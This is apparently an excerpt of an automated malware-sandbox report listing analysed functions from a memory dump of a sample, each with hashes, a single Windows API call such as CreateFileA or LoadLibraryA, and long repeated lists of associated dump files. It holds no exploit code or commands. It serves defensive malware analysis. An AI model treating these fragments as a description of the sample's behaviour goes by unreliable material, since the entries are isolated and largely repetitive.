Opcode ID: 5e87f082bcfc111119dfd9621920d49d9e8a2be4fa38743410d2afea69d0c9cc
Instruction ID: 2fe0af302de7558ece8d81fa87bab6065d305ea99709353920ae9ec92bf48118
Opcode Fuzzy Hash: 5e87f082bcfc111119dfd9621920d49d9e8a2be4fa38743410d2afea69d0c9cc
Instruction Fuzzy Hash: BAE0E57280D38A9ED706CF7248A22AEBBA0DF07314F19058ED481D7582E6711D90C294

Function 00EE1B86 Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,8692905E,00000003,00000000,00000003), ref: 00EE1BB6

Memory Dump Source

Source File: 00000010.00000002.2785128665.0000000000EDC000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000010.00000002.2784745079.0000000000D50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784808119.0000000000D56000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784836435.0000000000D5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784872122.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785068047.0000000000EC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785101991.0000000000ECA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785182059.0000000000EED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785210180.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785237039.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785260553.0000000000EF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785286412.0000000000EFC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785316476.0000000000EFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785349361.0000000000F01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785381951.0000000000F02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785413273.0000000000F17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785438506.0000000000F18000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785467738.0000000000F19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785505118.0000000000F25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785531841.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785558250.0000000000F2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785585191.0000000000F37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785639856.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785674074.0000000000F3C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785711399.0000000000F44000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785741504.0000000000F45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785772828.0000000000F55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785811523.0000000000F56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785837089.0000000000F57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785867232.0000000000F5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785900957.0000000000F62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785936677.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785964951.0000000000F67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786233991.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786273633.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786304180.0000000000F91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786370770.0000000000F92000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786403553.0000000000FA2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786439042.0000000000FA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786562671.0000000000FFC000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d50000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 68e969fe2be69540c73a53cd07f4ccf9cad15f51d2d1bfa5b72cd4806d682d0e
Instruction ID: 1c0df230ce1c04ead88f83c415f2848f9616b0c5057111814ac0731e5f908548
Opcode Fuzzy Hash: 68e969fe2be69540c73a53cd07f4ccf9cad15f51d2d1bfa5b72cd4806d682d0e
Instruction Fuzzy Hash: 72D0A7B2449299BCE5009A5A0F14EFD666CA786230F3094A4B406F3052D1615D451130

Function 00EE1F31 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,?,00EE1EA3,00000003,00000000,00000003), ref: 00EE1F3F

Memory Dump Source

Source File: 00000010.00000002.2785128665.0000000000EDC000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000010.00000002.2784745079.0000000000D50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784808119.0000000000D56000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784836435.0000000000D5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784872122.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785068047.0000000000EC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785101991.0000000000ECA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785182059.0000000000EED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785210180.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785237039.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785260553.0000000000EF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785286412.0000000000EFC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785316476.0000000000EFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785349361.0000000000F01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785381951.0000000000F02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785413273.0000000000F17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785438506.0000000000F18000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785467738.0000000000F19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785505118.0000000000F25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785531841.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785558250.0000000000F2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785585191.0000000000F37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785639856.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785674074.0000000000F3C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785711399.0000000000F44000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785741504.0000000000F45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785772828.0000000000F55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785811523.0000000000F56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785837089.0000000000F57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785867232.0000000000F5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785900957.0000000000F62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785936677.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785964951.0000000000F67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786233991.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786273633.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786304180.0000000000F91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786370770.0000000000F92000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786403553.0000000000FA2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786439042.0000000000FA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786562671.0000000000FFC000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d50000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 62fd04317fc411b1b92c5f0776786c14e781fc57f9bf25bd6b029d2e1f093d36
Instruction ID: b957cd3168425006df2a12213227a1e06ca30b08c8b810457cf4d4f7c9a55497
Opcode Fuzzy Hash: 62fd04317fc411b1b92c5f0776786c14e781fc57f9bf25bd6b029d2e1f093d36
Instruction Fuzzy Hash: ECD0C27185934A99D7149EB205422AE7BA0EF1B250F18465ED94696543D2750C80C209

Function 00EED01B Relevance: 1.5, APIs: 1, Instructions: 16libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 00EEF24E

Memory Dump Source

Source File: 00000010.00000002.2785182059.0000000000EED000.00000080.00000001.01000000.00000008.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000010.00000002.2784745079.0000000000D50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784808119.0000000000D56000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784836435.0000000000D5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784872122.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785068047.0000000000EC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785101991.0000000000ECA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785210180.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785237039.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785260553.0000000000EF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785286412.0000000000EFC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785316476.0000000000EFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785349361.0000000000F01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785381951.0000000000F02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785413273.0000000000F17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785438506.0000000000F18000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785467738.0000000000F19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785505118.0000000000F25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785531841.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785558250.0000000000F2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785585191.0000000000F37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785639856.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785674074.0000000000F3C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785711399.0000000000F44000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785741504.0000000000F45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785772828.0000000000F55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785811523.0000000000F56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785837089.0000000000F57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785867232.0000000000F5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785900957.0000000000F62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785936677.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785964951.0000000000F67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786233991.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786273633.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786304180.0000000000F91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786370770.0000000000F92000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786403553.0000000000FA2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786439042.0000000000FA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786562671.0000000000FFC000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d50000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5cb1956217860d2bfdb3cc3aca02503796f3b4ac8d7bcd5a68168131343770ae
Instruction ID: a58da2e3f47b1a2e72862b59dad4dcfb2daa40f0d80e011a4780107f11b050a4
Opcode Fuzzy Hash: 5cb1956217860d2bfdb3cc3aca02503796f3b4ac8d7bcd5a68168131343770ae
Instruction Fuzzy Hash: 08E0ECB540DB44DFC3409F158044179BBF8EE48701F25582DE4C597210D27008819B46

Function 00EE1B91 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,8692905E,00000003,00000000,00000003), ref: 00EE1BB6

Memory Dump Source

Source File: 00000010.00000002.2785128665.0000000000EDC000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000010.00000002.2784745079.0000000000D50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784808119.0000000000D56000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784836435.0000000000D5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784872122.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785068047.0000000000EC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785101991.0000000000ECA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785182059.0000000000EED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785210180.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785237039.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785260553.0000000000EF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785286412.0000000000EFC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785316476.0000000000EFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785349361.0000000000F01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785381951.0000000000F02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785413273.0000000000F17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785438506.0000000000F18000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785467738.0000000000F19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785505118.0000000000F25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785531841.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785558250.0000000000F2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785585191.0000000000F37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785639856.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785674074.0000000000F3C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785711399.0000000000F44000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785741504.0000000000F45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785772828.0000000000F55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785811523.0000000000F56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785837089.0000000000F57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785867232.0000000000F5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785900957.0000000000F62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785936677.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785964951.0000000000F67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786233991.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786273633.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786304180.0000000000F91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786370770.0000000000F92000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786403553.0000000000FA2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786439042.0000000000FA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786562671.0000000000FFC000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d50000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 13efe136c0319df8dfe9bffee436b2cf72b53321cc7556bfe47c776275325d4e
Instruction ID: 6c2e110eda60a15170b189b2bf4c63930ea21f9b6e441d91bacd53aaad5e65dd
Opcode Fuzzy Hash: 13efe136c0319df8dfe9bffee436b2cf72b53321cc7556bfe47c776275325d4e
Instruction Fuzzy Hash: 9CD0A732C4A2E96DD6408B654D4568DB6947B07220F3510F47806B7093D5604C494594

Function 00EE1BA9 Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,8692905E,00000003,00000000,00000003), ref: 00EE1BB6

Memory Dump Source

Source File: 00000010.00000002.2785128665.0000000000EDC000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000010.00000002.2784745079.0000000000D50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784808119.0000000000D56000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784836435.0000000000D5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784872122.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785068047.0000000000EC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785101991.0000000000ECA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785182059.0000000000EED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785210180.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785237039.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785260553.0000000000EF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785286412.0000000000EFC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785316476.0000000000EFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785349361.0000000000F01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785381951.0000000000F02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785413273.0000000000F17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785438506.0000000000F18000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785467738.0000000000F19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785505118.0000000000F25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785531841.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785558250.0000000000F2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785585191.0000000000F37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785639856.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785674074.0000000000F3C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785711399.0000000000F44000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785741504.0000000000F45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785772828.0000000000F55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785811523.0000000000F56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785837089.0000000000F57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785867232.0000000000F5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785900957.0000000000F62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785936677.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785964951.0000000000F67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
